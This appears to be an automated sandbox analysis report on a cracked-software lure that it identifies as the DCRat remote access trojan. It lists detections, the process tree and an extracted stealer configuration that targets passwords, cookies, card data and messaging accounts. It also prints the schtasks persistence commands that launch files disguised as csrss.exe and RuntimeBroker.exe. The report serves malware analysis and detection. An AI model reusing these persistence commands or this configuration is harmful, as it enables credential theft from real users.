Edit tour

Windows Analysis Report
NewLoaderCracks_1.32.exe

Overview

General Information

Sample name:	NewLoaderCracks_1.32.exe
Analysis ID:	1525863
MD5:	957e3773e9346cee687c19fce88b7f4a
SHA1:	86e0dbdf89012c5e2fee9feb0867ce867e8d5a1a
SHA256:	2928f73f9fa919f37465f87f2cec1098c255bb420bc38d245aeb136c6e7f1271
Tags:	exeuser-aachum
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Yara detected DCRat

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Check if machine is in data center or colocation facility

Creates processes via WMI

Disable UAC(promptonsecuredesktop)

Disables UAC (registry)

Drops PE files with benign system names

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

NewLoaderCracks_1.32.exe (PID: 2132 cmdline: "C:\Users\user\Desktop\NewLoaderCracks_1.32.exe" MD5: 957E3773E9346CEE687C19FCE88B7F4A)

wscript.exe (PID: 6496 cmdline: "C:\Windows\System32\WScript.exe" "C:\comcontainer\Kr8tZ.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 3816 cmdline: C:\Windows\system32\cmd.exe /c ""C:\comcontainer\xNFGfK2ypxJsgsGsm5kX9.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SurrogateRef.exe (PID: 3472 cmdline: "C:\comcontainer\SurrogateRef.exe" MD5: A730EA6D448D235275000CF8ADA09A96)

schtasks.exe (PID: 5076 cmdline: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5580 cmdline: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQ" /sc ONLOGON /tr "'C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5644 cmdline: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2096 cmdline: schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Recovery\csrss.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2328 cmdline: schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\csrss.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4040 cmdline: schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Recovery\csrss.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2996 cmdline: schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Recovery\WmiPrvSE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5128 cmdline: schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5580 cmdline: schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6008 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\jdownloader\config\RuntimeBroker.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2192 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\jdownloader\config\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7132 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\jdownloader\config\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6856 cmdline: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6892 cmdline: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQ" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2328 cmdline: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 9 /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7132 cmdline: schtasks.exe /create /tn "SurrogateRefS" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\windows mail\SurrogateRef.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6856 cmdline: schtasks.exe /create /tn "SurrogateRef" /sc ONLOGON /tr "'C:\Program Files (x86)\windows mail\SurrogateRef.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5772 cmdline: schtasks.exe /create /tn "SurrogateRefS" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\windows mail\SurrogateRef.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7008 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Windows\CbsTemp\RuntimeBroker.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2168 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\CbsTemp\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5272 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Windows\CbsTemp\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1600 cmdline: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 14 /tr "'C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5772 cmdline: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQ" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2168 cmdline: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 10 /tr "'C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

SwpTnCnrsAAKjgTAQ.exe (PID: 6728 cmdline: "C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe" MD5: A730EA6D448D235275000CF8ADA09A96)

SwpTnCnrsAAKjgTAQ.exe (PID: 6992 cmdline: "C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe" MD5: A730EA6D448D235275000CF8ADA09A96)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"SCRT": "{\"o\":\"~\",\"9\":\"%\",\"v\":\"_\",\"c\":\"#\",\"R\":\"<\",\"j\":\"*\",\"d\":\")\",\"O\":\"^\",\"e\":\".\",\"i\":\"|\",\"J\":\"&\",\"L\":\" \",\"Y\":\"@\",\"m\":\"`\",\"y\":\"$\",\"0\":\"!\",\"V\":\">\",\"E\":\"-\",\"z\":\";\",\"w\":\"(\",\"C\":\",\"}", "PCRT": "{\"l\":\",\",\"Q\":\"<\",\"W\":\"~\",\"R\":\"%\",\"x\":\"$\",\"k\":\"^\",\"V\":\"`\",\"O\":\"!\",\"F\":\")\",\"B\":\"_\",\"9\":\" \",\"U\":\"@\",\"w\":\"*\",\"T\":\">\",\"2\":\"#\",\"e\":\"-\",\"S\":\"|\",\"b\":\"&\",\"n\":\";\",\"Z\":\"(\",\"m\":\".\"}", "TAG": "", "MUTEX": "DCR_MUTEX-G9r8ggR6vHi8ykWN8dgB", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 2, "AUR": 1, "ASCFG": {"savebrowsersdatatosinglefile": false, "ignorepartiallyemptydata": false, "cookies": true, "passwords": true, "forms": true, "cc": true, "history": false, "telegram": true, "steam": true, "discord": true, "filezilla": true, "screenshot": true, "clipboard": true, "sysinfo": true, "searchpath": "%SystemDrive% - Slow"}, "AS": true, "ASO": false, "AD": false}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2465802434.0000000002937000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000E.00000002.2486586475.0000000003081000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000011.00000002.2486585028.0000000003081000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.2472557377.000000001239D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: SurrogateRef.exe PID: 3472	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: SwpTnCnrsAAKjgTAQ.exe PID: 6728	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: SwpTnCnrsAAKjgTAQ.exe PID: 6992	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\comcontainer\SurrogateRef.exe, ProcessId: 3472, TargetFilename: C:\Recovery\csrss.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /f, CommandLine: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\comcontainer\SurrogateRef.exe" , ParentImage: C:\comcontainer\SurrogateRef.exe, ParentProcessId: 3472, ParentProcessName: SurrogateRef.exe, ProcessCommandLine: schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /f, ProcessId: 6856, ProcessName: schtasks.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\comcontainer\Kr8tZ.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\comcontainer\Kr8tZ.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\NewLoaderCracks_1.32.exe", ParentImage: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe, ParentProcessId: 2132, ParentProcessName: NewLoaderCracks_1.32.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\comcontainer\Kr8tZ.vbe" , ProcessId: 6496, ProcessName: wscript.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Recovery\csrss.exe'" /f, CommandLine: schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Recovery\csrss.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\comcontainer\SurrogateRef.exe" , ParentImage: C:\comcontainer\SurrogateRef.exe, ParentProcessId: 3472, ParentProcessName: SurrogateRef.exe, ProcessCommandLine: schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Recovery\csrss.exe'" /f, ProcessId: 2096, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T15:43:08.930952+0200	2803305	3	Unknown Traffic	192.168.2.6	49780	208.95.112.1	80	TCP
2024-10-04T15:43:12.399719+0200	2803305	3	Unknown Traffic	192.168.2.6	49803	208.95.112.1	80	TCP
2024-10-04T15:43:16.421787+0200	2803305	3	Unknown Traffic	192.168.2.6	49828	208.95.112.1	80	TCP
2024-10-04T15:43:19.712146+0200	2803305	3	Unknown Traffic	192.168.2.6	49852	208.95.112.1	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: NewLoaderCracks_1.32.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\comcontainer\cmd.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\comcontainer\Kr8tZ.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\Windows Mail\SurrogateRef.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\comcontainer\SurrogateRef.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Recovery\WmiPrvSE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Windows NT\Idle.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Recovery\csrss.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984

Found malware configuration

Source: 00000005.00000002.2472557377.000000001239D000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"SCRT": "{\"o\":\"~\",\"9\":\"%\",\"v\":\"_\",\"c\":\"#\",\"R\":\"<\",\"j\":\"*\",\"d\":\")\",\"O\":\"^\",\"e\":\".\",\"i\":\"|\",\"J\":\"&\",\"L\":\" \",\"Y\":\"@\",\"m\":\"`\",\"y\":\"$\",\"0\":\"!\",\"V\":\">\",\"E\":\"-\",\"z\":\";\",\"w\":\"(\",\"C\":\",\"}", "PCRT": "{\"l\":\",\",\"Q\":\"<\",\"W\":\"~\",\"R\":\"%\",\"x\":\"$\",\"k\":\"^\",\"V\":\"`\",\"O\":\"!\",\"F\":\")\",\"B\":\"_\",\"9\":\" \",\"U\":\"@\",\"w\":\"*\",\"T\":\">\",\"2\":\"#\",\"e\":\"-\",\"S\":\"|\",\"b\":\"&\",\"n\":\";\",\"Z\":\"(\",\"m\":\".\"}", "TAG": "", "MUTEX": "DCR_MUTEX-G9r8ggR6vHi8ykWN8dgB", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 2, "AUR": 1, "ASCFG": {"savebrowsersdatatosinglefile": false, "ignorepartiallyemptydata": false, "cookies": true, "passwords": true, "forms": true, "cc": true, "history": false, "telegram": true, "steam": true, "discord": true, "filezilla": true, "screenshot": true, "clipboard": true, "sysinfo": true, "searchpath": "%SystemDrive% - Slow"}, "AS": true, "ASO": false, "AD": false}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Reference Assemblies\SwpTnCnrsAAKjgTAQ.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Windows Mail\SurrogateRef.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Windows NT\Idle.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\SwpTnCnrsAAKjgTAQ.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\WmiPrvSE.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\csrss.exe	ReversingLabs: Detection: 87%
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\SwpTnCnrsAAKjgTAQ.exe	ReversingLabs: Detection: 87%
Source: C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe	ReversingLabs: Detection: 87%
Source: C:\Windows\CbsTemp\RuntimeBroker.exe	ReversingLabs: Detection: 87%
Source: C:\comcontainer\SurrogateRef.exe	ReversingLabs: Detection: 87%
Source: C:\comcontainer\SwpTnCnrsAAKjgTAQ.exe	ReversingLabs: Detection: 87%
Source: C:\comcontainer\cmd.exe	ReversingLabs: Detection: 87%

Multi AV Scanner detection for submitted file

Source: NewLoaderCracks_1.32.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\comcontainer\cmd.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Mail\SurrogateRef.exe	Joe Sandbox ML: detected
Source: C:\comcontainer\SurrogateRef.exe	Joe Sandbox ML: detected
Source: C:\Recovery\WmiPrvSE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Windows NT\Idle.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Joe Sandbox ML: detected
Source: C:\Recovery\csrss.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: NewLoaderCracks_1.32.exe

Joe Sandbox ML: detected

Source: NewLoaderCracks_1.32.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\comcontainer\SurrogateRef.exe	Directory created: C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Directory created: C:\Program Files\WindowsPowerShell\b85529a8a0a78e	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Directory created: C:\Program Files\Windows NT\Idle.exe	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Directory created: C:\Program Files\Windows NT\6ccacd8608530f	Jump to behavior

Source: NewLoaderCracks_1.32.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: NewLoaderCracks_1.32.exe

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0054A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_0054A5F4
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0055B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_0055B8E0
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0056AAA8 FindFirstFileExA,	0_2_0056AAA8

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

ASN Name: TUT-ASUS TUT-ASUS

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49803 -> 208.95.112.1:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49828 -> 208.95.112.1:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49852 -> 208.95.112.1:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49780 -> 208.95.112.1:80

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: ip-api.com

